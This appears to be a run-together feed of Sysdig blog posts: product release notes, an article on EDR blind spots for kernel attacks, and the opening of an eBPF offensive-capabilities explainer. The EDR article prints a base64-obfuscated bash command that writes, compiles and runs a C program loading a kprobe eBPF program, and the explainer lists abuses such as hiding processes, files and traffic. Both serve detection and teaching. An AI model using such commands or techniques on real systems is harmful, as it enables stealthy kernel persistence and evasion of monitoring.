Sysdig. Secure Every Second: https://www.youtube.com/watch?v=c7mqQOwQv3U 

Unparalleled Cloud Visibility in Action with Sysdig’s Enhanced Searchable Inventory: https://www.youtube.com/watch?v=D6lnQhU0xD0

Rethinking Cloud Security with Sysdig’s CNAPP: https://www.youtube.com/watch?v=19QjEmXbvqY 

Strengthening Your Security with Agentless Vulnerability Management: https://www.youtube.com/watch?v=M0YpW-1WqqU 

Sysdig Attack Path in action: https://www.youtube.com/watch?v=Exiw48ClOYE 

The post What’s New in Sysdig – November 2023 appeared first on Sysdig.

This article explores why traditional Endpoint Detection and Response (EDR) solutions often struggle to detect and respond appropriately to kernel attacks, emphasizing the necessity of deep system call visibility to counter this alarming risk. We will conclude by emphasizing the need to secure every second in the cloud, by correlating host D&R activity like process behavior with cloud audit context for improved time to response in the cloud.

Understanding the Risk of BPF Backdoor Injection

The insertion of a BPF backdoor program into the operating system’s kernel is a menacing threat. The kernel, as the core of the operating system, is responsible for managing system resources and ensuring the integrity and security of the entire host/server. When an adversary successfully loads a BPF program into the kernel, they gain elevated privileges and the potential to manipulate host behavior without detection. This not only jeopardizes the confidentiality and integrity of sensitive data, but can also lead to unauthorized control of the host system.

Traditional EDR Shortcomings in Detecting Kernel Attacks

1. Limited Visibility: Traditional EDR solutions rely on monitoring higher-level activities and processes, such as file and registry changes, network activity, user activity, and payload executions, often lacking deep visibility into kernel-level operations. This limitation makes them ill-equipped to detect or respond to threats that occur within the kernel.
   
2. Ineffective Detection of Compiler Actions: While EDR solutions may claim to detect compiler actions, such as the compilation of malicious code, attackers can obfuscate these processes to evade detection. Techniques like Base64 encoding can be employed to camouflage compiler activities, rendering EDRs ineffective in identifying suspicious actions.
   
3. Over Reliance on Policy Controls: Many EDR solutions primarily rely on protection policies that automatically enforce actions based on compiler activities. However, these policies can be disabled or misconfigured, leaving the system vulnerable to undetected threats. If an attacker successfully bypasses these controls, the EDR becomes powerless in preventing a breach.

The Need for Deep System Call Visibility

To effectively combat the threats posed by kernel attacks, it is imperative to adopt a deep, system call architectural view of the operating system. Sysdig, a leader in container security, has recognized the significance of this approach. By closely monitoring system calls at a granular level, it becomes possible to uncover even the most subtle deviations from normal behavior, allowing for real-time intrusion detection and response.

Sysdig’s Approach to Detecting BPF Backdoor Programs

Sysdig’s comprehensive threat detection capabilities are designed to combat kernel-level attacks. In the case of a BPF backdoor program injection, Sysdig can detect this activity by closely monitoring system calls, looking for irregularities and unauthorized modifications to the kernel. Even if an attacker employs obfuscation techniques, Sysdig’s deep system call visibility can unveil these deceptive actions.

Rule: eBPF Program Loaded into the Kernel
Description: This rule detects the loading of an eBPF program into the kernel. eBPF programs are extremely powerful, and as long as they conform to the constraints imposed by the eBPF verifier (they don’t cause a kernel panic), give near-arbitrary control over a target system.

As shown in the above screenshot, using the process tree, we can see that a parent powershell process (pwsh) is triggering a separate child process (bash) which is attempting to load the eBPF (extended Berkeley Packet Filter) program into the kernel. Thanks to this deep level of visibility, we aren’t solely notified of the suspicious behavior, but we can take remediation action quicker. We know where the bash commands are coming from, and can naturally take action on the parent program/script to remediate it from our system.

But what has this got to do with EDR detections?

The syscall argument provided in the rule output shows a base64-encoded shell command that decodes into a series of shell commands to load an eBPF program into the kernel and execute it. The process involves creating, compiling, and executing an eBPF program. Here is the full command listed under ‘Parent name and arguments’ of the Falco detection rule.

bash -c echo I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgojaW5jbHVkZSA8c3lzL3N5c2NhbGwuaD4KI2luY2x1ZGUgPGZjbnRsLmg+CiNpbmNsdWRlIDxsaW51eC9icGYuaD4KCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikKewogICAgaW50IG47CiAgICBpbnQgYmZkLCBwZmQ7CiAgICBzdHJ1Y3QgYnBmX2luc24gKmluc247CiAgICB1bmlvbiBicGZfYXR0ciBhdHRyOwogICAgY2hhciBsb2dfYnVmWzQwOTZdOwogICAgY2hhciBidWZbXSA9ICJceDk1XHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAgaW5zbiA9IChzdHJ1Y3QgYnBmX2luc24qKWJ1ZjsKICAgIGF0dHIucHJvZ190eXBlID0gQlBGX1BST0dfVFlQRV9LUFJPQkU7CiAgICBhdHRyLmluc25zID0gKHVuc2lnbmVkIGxvbmcpaW5zbjsKICAgIGF0dHIuaW5zbl9jbnQgPSBzaXplb2YoYnVmKSAvIHNpemVvZihzdHJ1Y3QgYnBmX2luc24pOwogICAgYXR0ci5saWNlbnNlID0gKHVuc2lnbmVkIGxvbmcpIkdQTCI7CiAgICBhdHRyLmxvZ19zaXplID0gc2l6ZW9mKGxvZ19idWYpOwogICAgYXR0ci5sb2dfYnVmID0gKHVuc2lnbmVkIGxvbmcpbG9nX2J1ZjsKICAgIGF0dHIubG9nX2xldmVsID0gMTsKICAgIGF0dHIua2Vybl92ZXJzaW9uID0gMjY0NjU2OwoKICAgIHBmZCA9IHN5c2NhbGwoU1lTX2JwZiwgQlBGX1BST0dfTE9BRCwgJmF0dHIsIHNpemVvZihhdHRyKSk7CiAgICBjbG9zZShwZmQpOwoKICAgIHJldHVybiAwOwp9Cg== | base64 -d > /tmp/prog.c; gcc /tmp/prog.c -o /tmp/prog && /tmp/prog

Let’s break down the steps:

The bash -c ...: command starts a new Bash shell and executes the command that follows. This alone is not an issue for traditional security tools to detect. 

This is where it gets difficult for an EDR. We see the echo … | base64 -d > /tmp/prog.c condition which decodes the base64-encoded string and saves it as a C source file named /tmp/prog.c. Once the C source code is encoded, an EDR will have a hard time detecting this behavior as suspicious since plenty of legitimate tokens are encoded in Base64 – it’s designed specifically for the purpose of making sensitive details hard to read. Of course, we can manually decode this ourselves with the below command:

<base64-encoded-value> | base64 -d

Once ended, the gcc /tmp/prog.c -o /tmp/prog command compiles the C source code (/tmp/prog.c) using the GCC compiler and creates an executable binary named /tmp/prog. The /tmp/prog program is finally able to execute the compiled binary, which contains the eBPF program. It’s possible that the EDR is able to quarantine the newly-compiled binary, but if it does, it is already lacking context into how the program got there in the first place. We would therefore have no visibility into how the malicious program was crafted on the host endpoint.

Assuming the EDR cannot detect the binary getting compiled due to incorrect configuration of the endpoint agent settings or false/negative detection from the detection engine, this sort of attack goes undetected potentially forever This provides easy access to network packets and the ability to take actions via programs written based on custom filters BEFORE they ever reach a (local) firewall.

Sysdig solves this problem of lost visibility through event enrichment across multiple data sources. Many EDRs simply do not ingest Kubernetes Audit logs, like Crowdstrike. These traditional tools are also unable to understand most real-time configuration changes via Cloudtrail audit logs alone. This fundamental lack of visibility in the cloud holds back security teams from responding quickly and with context.

Justifying the need for system call visibility

We have, of course, demonstrated the need for detecting when the actual BPF program is loaded into the kernel. But to improve overall cyberattack readiness, we need to detect all indicators of compromise associated with this host endpoint attack. We need to detect when potentially malicious scripts are encoded with Base64 before the adversary gets a chance to execute the program. True runtime security requires alerting on behavior that is undesirable in our environment, not just when a malicious payload is executed. By correlating context across process, container, host, Kubernetes, and Cloud, Sysdig improves time to response by telling you exactly where the encoded script was run from.

Regardless of how the script is encoded or its location within the system, Sysdig ensures consistent intrusion detection capabilities. Users have the flexibility to modify or craft their own detection rules to align with the specific behavior of their host system. 

When there’s no legitimate rationale for encoding a shell script in your command line, you possess the means to take proactive measures well before potential adversaries or insider threats have an opportunity to inject a malicious program into the kernel, enabling them to maintain persistence and engage in further nefarious activities.

Conclusion

Attacks on the Host Kernel, such as the injection of a BPF backdoor program, pose a significant risk to the security machines running in the cloud. Traditional EDR solutions are ill-equipped to handle these threats due to their limited visibility and overreliance on policies. Sysdig’s deep system call architectural view for hosts and servers provides a crucial layer of defense, enabling the detection and response to even the most sophisticated kernel-level attacks, across Windows and Linux systems. In today’s constantly changing cloud-threat landscape, having this level of visibility is essential to prevent malicious intruders from accessing your sensitive data or abusing your cloud infrastructure for financial gain.

The post Why Traditional EDRs Fail at Server D&R in the Cloud appeared first on Sysdig.

The last few weeks have been really exciting at Sysdig. We unveiled Sysdig’s Industry-Leading Cloud-Native Application Protection Platform (CNAPP), leveraging the Cloud Attack Graph, powered by Runtime Insights to correlate assets, detect risks, and provide real-time insights. You can read more about it in this article or watch this informational video.

Sysdig and Docker also announced a partnership to accelerate and secure Cloud-Native Application Delivery at the 2023 DockerCon. Sysdig’s runtime insights will be integrated into Docker Scout to help developers prioritize risk and move faster. This integration will help customers reduce software supply chain noise, prioritize the insights that matter, and build leaner container images. Sysdig is the first runtime security integration in Docker Scout. You can read more about it in our press release.

Stay tuned for more updates from Sysdig, and let’s get started!

Sysdig Secure

Custom Posture Controls

You can now tune your compliance results by customizing your posture controls. This includes the ability to customize the evaluation parameters and severity. 

This feature requires new Posture Control edit permissions, which are automatically granted to the Team Manager and Advanced User roles. Administrators can manage these privileges for all roles under Settings as follows: 

[Select role] → Policies → Posture Controls

Reporting for Image Pipeline Vulnerability Scanning

The Vulnerability Management team is pleased to announce the release of Reporting for Image Pipeline scanning. The Vulnerability Management engine now has reporting for all scanning functionality (Runtime, Registry, Host, and Pipeline). Pipeline reporting mirrors the Runtime and Registry reports, with just a change in the scoping context.

Admission Controller v0.14.9 Released

Kubernetes audit events are now enriched with container metadata to give additional insight into your infrastructure. With this enhancement, all the pod events now display container.name, pod.name, and pod.namespace labels. You can view these labels on the Secure Event detail panel for events such as Create HostNetwork Pod and Attach/Exec Pod.

Exception UI Improvements for Threat Detection Rules

Sysdig is introducing a new user-friendly exception builder. The new exception UI, built into the Rules Editor, helps users create, update, modify, and delete exceptions for threat detection rules. For more information, see Manage Threat Detection Rules.

Cloud Logs

Sysdig introduces a new product bundle intended for users who are interested in Cloud Detection and Response (CDR) for Cloud Logs but do not want to use Cloud Security Posture Management (CSPM). For more information, see Cloud Logs.

Agent Tags Support through Zone Scopes in Posture

Do you need to scope your Zones using the Agent Tags applied to your hosts and clusters?

You can now add Zone scopes: Kubernetes and Host with Agent Tags attributes. Add Agent Tags Key:Value pairs just as you add Labels. See the Posture Host Analyzer installation for details.

Advanced Users Can Apply Tuning Suggestions (Preview)

To simplify identifying and applying exceptions, we are enabling the ability for Advanced Users and Team Managers to see and apply Tuning suggestions from Insights and Event detail pages.

To enable:

1. Log into Sysdig Secure as Admin and go to Settings
2. Toggle Advanced User Tuner Enablement on

This will become the default behavior starting Oct. 15th.

Support for Rancher Kubernetes Engine (RKE2)

We are happy to announce the support for Rancher Kubernetes Engine (RKE2) which, lacking an official CIS benchmark, is supported by the addition of a new in-house policy.

Sysdig Secure Coverage Improvement for AWS

Sysdig Secure posture control library has been expanded to improve its AWS resources coverage. The control library now includes 26 new controls providing support for 17 new resource types (both deployed and from Terraform code) across the following AWS services:

• Amazon DynamoDB
• Amazon EC2
• Amazon Elastic File System (EFS)
• Amazon Kinesis
• Amazon RDS
• Amazon SageMaker
• Amazon Simple Queue Service (SQS)
• AWS Elastic Beanstalk
• AWS Network Firewall
• AWS Systems Manager (SSM)

OOTB Policy Content Updates

The following policies have gone through updates:

• Sysdig Mirantis Kubernetes Engine (MKE) Benchmark v1.1.0
  In collaboration with Mirantis, we have updated some of the audits in order to provide more accurate results.
• AWS Well Architected Framework
  The Well Architected Framework has been augmented with 26 new controls, providing support for the recently added resource types, as well as for some of the already existing.

As a fundamental part of the support for Rancher Kubernetes Engine, Sysdig now provides the following new policy:

• Sysdig Rancher Kubernetes Engine (RKE2) Benchmark v1.6.0
  The hardening guide provides prescriptive guidance for hardening a production installation of RKE2, and this benchmark guide is meant to help you evaluate the level of security of the hardened cluster against each control in the CIS Kubernetes benchmark. It is to be used by RKE2 operators, security teams, auditors, and decision makers.

Sysdig Monitor

Metrics Usage Enhanced with Dashboards and Alerts Usage Metadata

Metrics Usage now displays which Dashboards and Alerts are using a given metric, enabling you to better understand the value a given metric provides to teams.

Notification Snapshot for Metric Alert Notifications (CA)

Metric Alert notifications forwarded to Slack or Email include a snapshot of the triggering time series data. For the Slack notification channels, you can toggle the snapshot within the notification channel settings. When the channel is configured to Notify when Resolved, a snapshot of the time series data that resolves the alert is also provided in the notification.

This feature is released as controlled availability.

Sysdig Agents

12.17.1 Oct. 24, 2023

This hotfix is applicable only to Sysdig on-prem deployments. It fixes an issue where the agent generates events in large numbers when Legacy Compliance is enabled due to incorrect throttling. 

12.17.0 Oct. 17, 2023

Feature Enhancements

Capability for Malware Detection

Sysdig Agent provides the ability to detect malware and suspicious binary execution by using known bad hashes on hosts and containers.

When a malware control policy is enabled, the agent computes the hash for every binary execution and checks if the hash matches any of the known malicious ones. On match, the agent will prevent the execution and generate an event.

Your environment requires Linux kernel v5.0 or beyond for malware detection to work.

This feature is enabled by default. To disable globally on the agent, add the following to the dragent.yaml file:

malware_control:
  enabled: false

To enable the feature for the underlying host node, add the following to the dragent.yaml file:

protections:
  malware_control:
  enable_for_host: true

Use Protocol Buffer to communicate to Kubernetes API Server

Cointerface uses Google Protocol Buffers as a wire format for communicating with the Kubernetes API server.

Update OpenSSL Library to OpenSSL v3.1 and include a FIPS-Validated Crypto Module

In light of OpenSSL v1.1.1 reaching end-of-life, this release updates its bundled OpenSSL libraries to v3.1.3.

Additionally, this release bundles a FIPS-validated OpenSSL crypto module with the agent. Adding the crypto module removes the requirement for user-provided, FIPS-validated OpenSSL shared libraries when the fips_mode configuration parameter is set to true.

This update breaks the agent’s backward compatibility with OpenSSL v1.1.1. If you have configured the openssl_lib parameter, do one of the following:

• Provide OpenSSL v3.1 shared libraries
• Remove the parameter and rely on the bundled OpenSSL shared libraries

End of Support for OpenShift v3

Sysdig Agent versions beyond 12.17.0 will no longer be supported on OpenShift 3. v12.17.0 will be the last version supporting OpenShift 3.

Defect Fixes

Prevent transition during restarts

The agent will no longer release the Kubernetes delegation lease during teardown to avoid unwanted transitions during restarts.

Policy scoping in Fargate now respects agent labels

Fargate agents will no longer skip agent labels when performing policy scoping.

Display resolved IPs in the Network Security Policy egress

The agent uses improved logic to resolve services and endpoints, and therefore, the network communications in some namespaces will not be dropped as unresolved.

Use get_mm_exe_file()

A safer version of the Linux kernel API call is used where get_mm_exe_file() is available.

Show correct Kubernetes status

Fixed defects in the Kubernetes status reporting. The kube_workload_status_available and kube_workload_status_unavailable metrics should report correct values even when the cluster node count changes, and the Kubernetes status should reflect the state correctly after the cointerface switches run modes.

Prevent unintended agent restart

A defect was fixed where an invalid message from the backend caused an unintended agent restart.

Store device metrics as expected

A defect was fixed where I/O metrics for devices were not stored.

Display Kubernetes cluster association correctly

A defect was fixed which caused incorrect agent association with Kubernetes clusters on the Agents page in the Data Sources UI.

Display correct time series count in Prometheus logs

Filtered timeseries counts in Prometheus statistics logs are now reported correctly.

SDK, CLI, and Tools

Sysdig CLI

v0.8.2 is still the current release. The instructions on how to use the tool and the release notes from previous versions are available at the following link:
https://sysdiglabs.github.io/sysdig-platform-cli/

Python SDK

Python SDK updated to v0.17.1.

Terraform Provider

We have just released the 1.15.0 version of Terraform provider. This release includes:

• Feature: Adding api only secure onboarding support

https://docs.sysdig.com/en/docs/developer-tools/terraform-provider

Terraform Modules

• AWS Sysdig Secure for Cloud remains unchanged at v10.0.9
• GCP Sysdig Secure for Cloud remains unchanged at v0.9.10
• Azure Sysdig Secure for Cloud remains unchanged at v0.9.7

Falco VSCode Extension

v0.1.0 is still the latest release.

https://github.com/sysdiglabs/vscode-falco/releases/tag/v0.1.0

Sysdig Cloud Connector

New Cloud Connector changes to (v0.16.54) under helm chart 0.8.6.

Admission Controller

New Admission Controller release (3.9.34) under helm chart 0.14.12.

Sysdig CLI Scanner

Sysdig CLI Scanner latest version is v1.6.0.

https://docs.sysdig.com/en/docs/sysdig-secure/vulnerabilities/pipeline/

Sysdig Secure Inline Scan Action

The latest release remains unchanged at v3.5.0.

https://github.com/marketplace/actions/sysdig-secure-inline-scan

Sysdig Secure Jenkins Plugin

The Sysdig Secure Jenkins Plugin remains at version v2.3.0.

https://plugins.jenkins.io/sysdig-secure/

Prometheus Integrations

Prometheus Integrations has been updated to v1.23.0:

• Fix legacy Pod Overview Dashboard
• Update OOTB Openshift/Rancher dashboards required metric

Sysdig On-Premises

Sysdig On-Premises has been updated to 6.5.0 with the following changes.

Upgrade process

Supported upgrades from: 5.0.x, 5.1.x, 6.x

For the full supportability matrix, see the Release Notes. This repository also includes the on-prem installation instructions.

Use of MinIO

Starting from release v6.5.0, MinIO has been added to the on-prem stack, specifically importing the MinIO binary from the upstream, for use in conjunction with Sysdig services.

You can download the MinIO source code in this repository. It is licensed under the AGPL 3.0.

This product includes software developed at MinIO, Inc. Copyright: MinIO Project, (C) 2015-2023 MinIO, Inc.

Sysdig Secure

Vulnerability Management landing page

Sysdig Secure offers a landing page to identify, track, and initiate Vulnerability Management workflows. This is designed to support users looking to see trends, priorities, and top action items on the vulnerability risks in their environment. The landing page covers all the scanning capabilities for images, workloads, and hosts, as collected by the installed scanners: vulnerability CLI, registry, host, and runtime. All widgets on the page enable a workflow to take action or export data to your native information security tool ecosystem.

What?

• Enable Vulnerability Managers to easily identify changes in vulnerability Risk Posture (trends), most pervasive vulnerabilities, newest released vulnerabilities, and infrastructure segments with the most vulnerabilities.
• Enable Program Managers to get easy insight into Policy posture on findings.
• Enable Architects to easily access the data regarding scan counts and adoption rates.

Why?

• Give a Vulnerability Management team an easy place to prioritize and manage vulnerabilities at a program level.

Container Registry Scanning

Image Registry Scanning functionality is available as part of the Sysdig Vulnerability Management suite in on-prem deployments.

This feature provides an added layer of security between the pipeline and runtime stages, allowing you to gain complete visibility into potential vulnerabilities before deploying to production.

The supported vendors are:

• AWS Elastic Container Registry (ECR) – Single Registry and Organizational
• JFrog Artifactory – SaaS and On-Premises
• Azure Container Registry (ACR) – Single Registry
• IBM Container Registry (ICR)
• Quay.io – SaaS
• Harbor

Once the container registry is instrumented and analyzed, you can generate registry reports to extract, forward, and post-process the vulnerability information.

Added Vulnerability Management APIs

The following new API endpoints have been released in Technical Preview to list and filter vulnerability scan results for Pipeline, Registry, and Runtime, as well as to fetch detailed scan results in JSON format:

• Get a list of pipeline scan results: GET /secure/vulnerability/v1beta1/pipeline-results
• Get a list of registry scan results: GET /secure/vulnerability/v1beta1/registry-results
• Get a list of runtime scan results: GET /secure/vulnerability/v1beta1/runtime-results
• Get full scan results: GET /secure/vulnerability/v1beta1/results

These API endpoints are applicable only to the current Vulnerability scanning engine.

New Vulnerability Management engine for airgap environments

The new Vulnerability Management engine, a major upgrade to the vulnerability and image scanning functionality for the Sysdig Secure product, is available in airgapped on-prem deployments. Contact your Sysdig representative for technical support.

Major highlights

• Scanning time has been drastically reduced: 8x faster on average!
• Additional data for vulnerabilities and remediation
  • CVSS scores and metrics: Network Attack Vector, Privileges Required, etc.
  • Flagging of publicly available code exploits
  • Suggested package fix version
• Risk spotlight: Focus on the vulnerabilities that Sysdig detects in active packages at runtime. This is a new filter that only shows CVEs with active packages, to save time browsing infrastructure and to help focus on high-impact CVEs.
• New Vulnerability Reporting module
  • Up to 14 days retention of individual reports
  • Ability to generate a report instantly from the UI
• Flexible policies that can be attached to the different runtime and security contexts

Migrate to the new scanning engine

The new vulnerability management engine uses a different data storage, API, host components, and user interfaces than the legacy scanning.

• Contact your Sysdig representative. They will guide you through the process of migrating your subscription and vulnerability management configuration to the new engine.
• For more information, see Vulnerabilities.

Defect Fixes

• Addressed a number of critical and high vulnerabilities
• Fixed the issue where Compliance v2 reports return 204 status
• Fixed the issue where you are forced to use the email address format for login when LDAP is enabled. You can now log in using your username.
• Post GKE Nodepool upgrade elastic search pods no longer fail to start
• Added support for Linux cgroup v2 to the Sysdig PostgreSQL implementation for memory optimization

Falco Threat Detection Rules Changelog

Our Threat Research team has released several versions of the rules in the last month, including 169 new rules to extend support for Azure. Below are the release notes for the most recent rules changes.

https://docs.sysdig.com/en/docs/release-notes/falco-rules-changelog/

Rule Changes

• Added the following rules:
  • CodeBuild Create Project with Miner
  • CodeBuild Start Build with Miner
  • CodeCommit Create Repository
  • CodeCommit Git Push
  • CodeBuild Create Project
  • CloudFormation Create Stack
  • SSH keys added to authorized_keys
  • SageMaker Create Notebook Instance Lifecycle Configuration
  • Image Builder Create Component
  • Amplify Create App
  • EC2 Create Auto Scaling Group
  • Potential IRC connection detected
  • CodeBuild Start Build
  • ECS Create Cluster
  • EC2 Create Launch Template
  • Change memory swap options
  • GLIBC “Looney Tunables” Local Privilege Escalation (CVE-2023-4911)
• Reduced false positives for the following rules:
  • Mount launched in privileged container
  • Kernel startup modules changed
  • Read SSH information
  • Possible Backdoor using BPF
  • Suspicious Cron Modification
  • Fileless Malware Detected (memfd)
  • eBPF Program Loaded into Kernel
• Updated MITRE tags
• Updated the IoCs Ruleset with new findings
• Improved the sysdig_commercial_images & log_files lists
• Improved host and container tags

Default Policy Changes

• Added the following rules:
  • GLIBC “Looney Tunables” Local Privilege Escalation (CVE-2023-4911)
  • AWS CLI used with endpoint url parameter
  • Hexadecimal string detected
  • Unexpected Unshare event in Container
  • Disallowed SSH Connection Non Standard Port
  • Azure Suspicious IP Inbound Request
  • GCP Change Owner
  • Container escape via discretionary access control
• Updated the policy for:
  • Suspicious device created in container
  • Modification of pam.d detected
• Added SSM rules to awscloudtrail policy
• Added the Sysdig Azure Threat Intelligence policy

Open Source

Falco

Falco 0.36.1 is the latest stable release:

https://github.com/falcosecurity/falco/releases/tag/0.36.1

We suggest reviewing the release notes for 0.36.0 (released late September), which contains a number of major enhancements, as well as some breaking changes:

https://github.com/falcosecurity/falco/releases/tag/0.36.0

New Website Resources

Blogs

When Seconds Count: Expanding Real-Time Capabilities Across CNAPP

CVE-2023-38545: High Severity cURL Vulnerability Detection

How Sysdig can Detect Impersonation Attacks in Okta IdP

Agentless Vulnerability Management: A Complete Guide to Strengthening Your Security

eBPF Offensive Capabilities – Get Ready for Next-gen Malware

Scarleteel 2.0 and the MITRE ATT&CK framework

AWS’s Hidden Threat: AMBERSQUID Cloud-Native Cryptojacking Operation

Webinars

How to Stop Cloud Attacks in Real-Time with Runtime Insights

Strengthening Cyberattack Preparedness Through Identity Threat Detection and Response (ITDR)

Rethinking Security at Cloud Speed

Combating Critical Cloud Vulnerabilities

Cloud Security Turbocharged: A Wild Ride of Innovation, Threats, and Staying Ahead

Beyond CSPM: Mastering Cloud Defense in the Age of Rapid Attacks

Sysdig Education

Sysdig Sage: https://www.youtube.com/watch?v=LoPaplPV4KA

Intro to Secure (video): https://www.youtube.com/watch?v=jJv4_HTxwVI

Intro to Monitor (video): https://www.youtube.com/watch?v=SyD_4sNadAQ

Vulnerability Management Landing Page (video): https://www.youtube.com/watch?v=1_uPQnVKZAI

Sysdig Live: https://www.youtube.com/watch?v=bo1D-jQssw8

Process Trees: https://www.youtube.com/watch?v=wqf_ZY_cqwQ

The post What’s New in Sysdig – October 2023 appeared first on Sysdig.

eBPF has gained a lot of attention since its first release in 2014 into the Linux kernel (Kernel 4.4). This powerful technology allows one to run programs deep inside the Linux kernel without the need to write kernel modules or load kernel drivers. These programs are written in a restricted C-like language and compiled into bytecode that is executed by the kernel in the eBPF Virtual Machine. eBPF programs, given their nature, don’t have the usual lifecycle of a user-space process, but are rather executed when certain (programmer-specified) kernel events occur.

Those events take the name of hooks and are placed in various places in the kernel, such as network sockets, tracepoints, kprobes, uprobes, and more. They can be used for many different purposes, such as tracing, networking, and security.

In fact, in the many different security monitoring tools that exist today, Falco being one of them, eBPF can be used to monitor the system for malicious activity, performance analysis, and also enforce security policies.

Probes everywhere – eBPF hooks

eBPF programs can be attached to many different hooks inside the kernel, and the list is growing with every new kernel release. These hooks are called probes and they are placed in various places in the kernel. Here, we’ll expand upon a few of them.

1. Kprobes – Kernel probes are used to instrument kernel functions. They are placed at the beginning or at the end of a function (Kretprobe) and they can be used to trace the execution of a function, to modify the arguments passed to the function, or to skip the execution of the function entirely.
2. Uprobes – User probes are used to instrument user-space functions. They can be placed inside a function or any given address (Uretprobe exists too). They are different from Kprobes in the sense that they are used to instrument user-space.
3. Tracepoints – Tracepoints are static markers placed at various points throughout the kernel. They are used to trace the execution of the kernel. The main difference with kprobes is that they are codified by the kernel developers when they implement changes in the kernel.
4. TC or Traffic Control – Used to monitor and control the network traffic, they are similar to eXpress Data Path (XDP) programs, but they are executed after the packet has been processed by the kernel. They can be used to modify the packet or to drop it entirely.
5. XPD or eXpress Data Path – Like traffic control hooks, they are used to monitor network packets, are way faster than TC hooks because they are executed before the packet is processed by the kernel, and they can be used to entirely modify the packet.

With this many hooks available, eBPF programs can be used to monitor and modify the execution of the kernel. This is why eBPF is so powerful, and also why it can be used for bad purposes too.

eBPF programs

eBPF programs are compiled into bytecode that is executed by the kernel. The eBPF programs are loaded into the kernel using the bpf() syscall – the syscall signature looks like this:

int bpf(int cmd, union bpf_attr *attr, unsigned int size);

The cmd parameter is used to specify the operation to perform, the attr parameter is used to pass the arguments to the syscall, and the size parameter is used to specify the size of the attr parameter.

There are many different possible commands, some of them are:

enum bpf_cmd {
    BPF_MAP_CREATE,   /* create map */
    BPF_MAP_LOOKUP_ELEM, /* lookup element in map */
    BPF_MAP_UPDATE_ELEM, /* update element in map */
    BPF_MAP_DELETE_ELEM, /* delete element in map */
    BPF_MAP_GET_NEXT_KEY, /* get next key in map */
    BPF_PROG_LOAD,   /* load BPF program */
    ...
    ...
};

Right now, we are interested in the BPF_PROG_LOAD command. This command is used to load an eBPF program into the kernel, and the attr parameter will specify the type of the program to load, the bytecode, the size of the bytecode, and other parameters. The bpf() syscall will return a file descriptor related to the program being loaded. This file descriptor can be used to attach the program to a hook, or to unload the program from the kernel. The program will remain in the kernel memory until the file descriptor is closed.

Fortunately for us, we don’t have to directly call the bpf() syscall in order to create eBPF programs. There are many different libraries that can be used to create eBPF programs, some of them are:

• libbpf – written in C
• libbpfgo – written in Go
• ebpf-go – written in Go

We will use libbpfgo in this article, but the concepts are the same for all the libraries.

Kernel-mode to user-mode communication and vice-versa

eBPF programs are executed in the kernel, but they can communicate with user-space programs and vice-versa. This is done using special objects called maps. Maps are key-value stores that can be used to exchange data between the kernel and user-space. They are created using the BPF_MAP_CREATE command, and they can be of different types. Some of them are:

• BPF_MAP_TYPE_ARRAY – an array of elements, each element can be accessed using an index.
• BPF_MAP_TYPE_HASH – a hash table, each element can be accessed using a key.
• BPF_MAP_TYPE_PERCPU_ARRAY – an array of elements, each element can be accessed using an index, but uses a different memory region per CPU.
• BPF_MAP_TYPE_PERCPU_HASH – a hash table, each element can be accessed using a key, but uses a different memory region per CPU.
• BPF_MAP_TYPE_STACK – a stack of elements, each element can be accessed using an index, the elements are stored in a LIFO fashion.
• BPF_MAP_TYPE_QUEUE – a queue of elements, each element can be accessed using an index, the elements are stored in a FIFO fashion.
• BPF_MAP_TYPE_PERF_EVENT_ARRAY – a special map used to send events to user-space.

For our purpose, we will use a BPF_MAP_TYPE_HASH to share some structs between the user-space and the kernel and a BPF_MAP_TYPE_PERF_EVENT_ARRAY to send events to user-space.

eBPF programs format

As we said before, eBPF programs are written in a restricted C-like language which is then translated into bytecode. The eBPF virtual machine is a 64-bit RISC machine, and it has 11 registers and a fixed size (512 bytes) stack. The registers are:

• r0 – stores return values, both for function calls and the current program exit code.
• r1–r5 – used as function call arguments, upon program start r1 contains the “context” argument pointer.
• r6–r9 – these get preserved between kernel function calls.
• r10 – stack pointer.

Nonetheless, the eBPF virtual machine can also use 32-bit addressing if the most significant bit of the register is zeroed.

This source-to-bytecode translation is handled by clang which can easily target the eBPF virtual architecture. In order to compile a C program into eBPF bytecode, we can use the following command:

clang -target bpf -c program.c -o program.o

This will compile the program.c file into program.o which is the bytecode file. This file can then be relocated and loaded into the kernel using the libraries we mentioned before.

JIT compilation, Verifier, and ALU sanitization

Due to its performance-critical nature, eBPF programs are compiled from VM Bytecode into native machine code by the kernel. This is called JIT or Just In Time compilation, and is done only once (when the program is loaded). Unless the kernel is compiled with CONFIG_BPF_JIT_ALWAYS_ON=false, the compiled program is then stored in the kernel memory and is executed every time the hook is triggered.

Executing untrusted code inside the kernel may be a really dangerous thing, and this is why the kernel developers implemented a verifier that checks the bytecode before compiling it, this verifier checks that the program is safe to execute, and it also checks that the program is not too complex. This is done to avoid denial of services (DoS) attacks. The verifier is also used to check that the program is not trying to access memory outside the stack, or that it is not trying to access memory that is not mapped. This is done to avoid memory corruption attacks (ALU sanitization).

This safety is achieved by emulating the sequence of instructions and checking that the registers are used correctly. Below are some of the checks performed by the verifier, to name a few:

• Pointer bounds checking
• Verifying that the stack’s reads are preceded by stack writes
• Preventing the use of unbounded loops
• Register value tracking
• Branch pruning
• And many more…

More information about the verifier can be found here.

eBPF offensive capabilities

Given the knowledge we have so far, we can start to think about some offensive capabilities that eBPF programs can provide. Below are some of them:

• Abusing direct map access – eBPF programs can access maps directly, meaning that if we have access to a map file descriptor, we can modify the logic of the program.
• Abusing Kprobes – eBPF programs use carefully crafted Kprobes to hook into kernel functions, so we can modify the behavior of the kernel like hiding processes or files.
• Abusing TC hook – eBPF programs can be attached to the TC hook, meaning that we can use eBPF programs to modify the traffic of a specific interface even hiding malicious traffic.
• Abusing Uprobes – eBPF programs can use Uprobes to hook into user-space functions, meaning that we can modify the behavior of user-space programs.

Following, we will see some examples of these capabilities.

Abusing direct map access

Due to their nature, maps are a great target for attackers since writing to a map could modify the logic of the underlying eBPF program. Assume we are analyzing a firewall implementation entirely done with eBPF. The user-space component could talk over maps to the kernel to update the list of firewall rules. In order to do this, we would need access to that map file description. That’s actually possible thanks to BPF_MAP_GET_NEXT_ID , BPF_MAP_GET_NEXT_KEY and BPF_MAP_LOOKUP_ELEM commands. Root permission is needed.

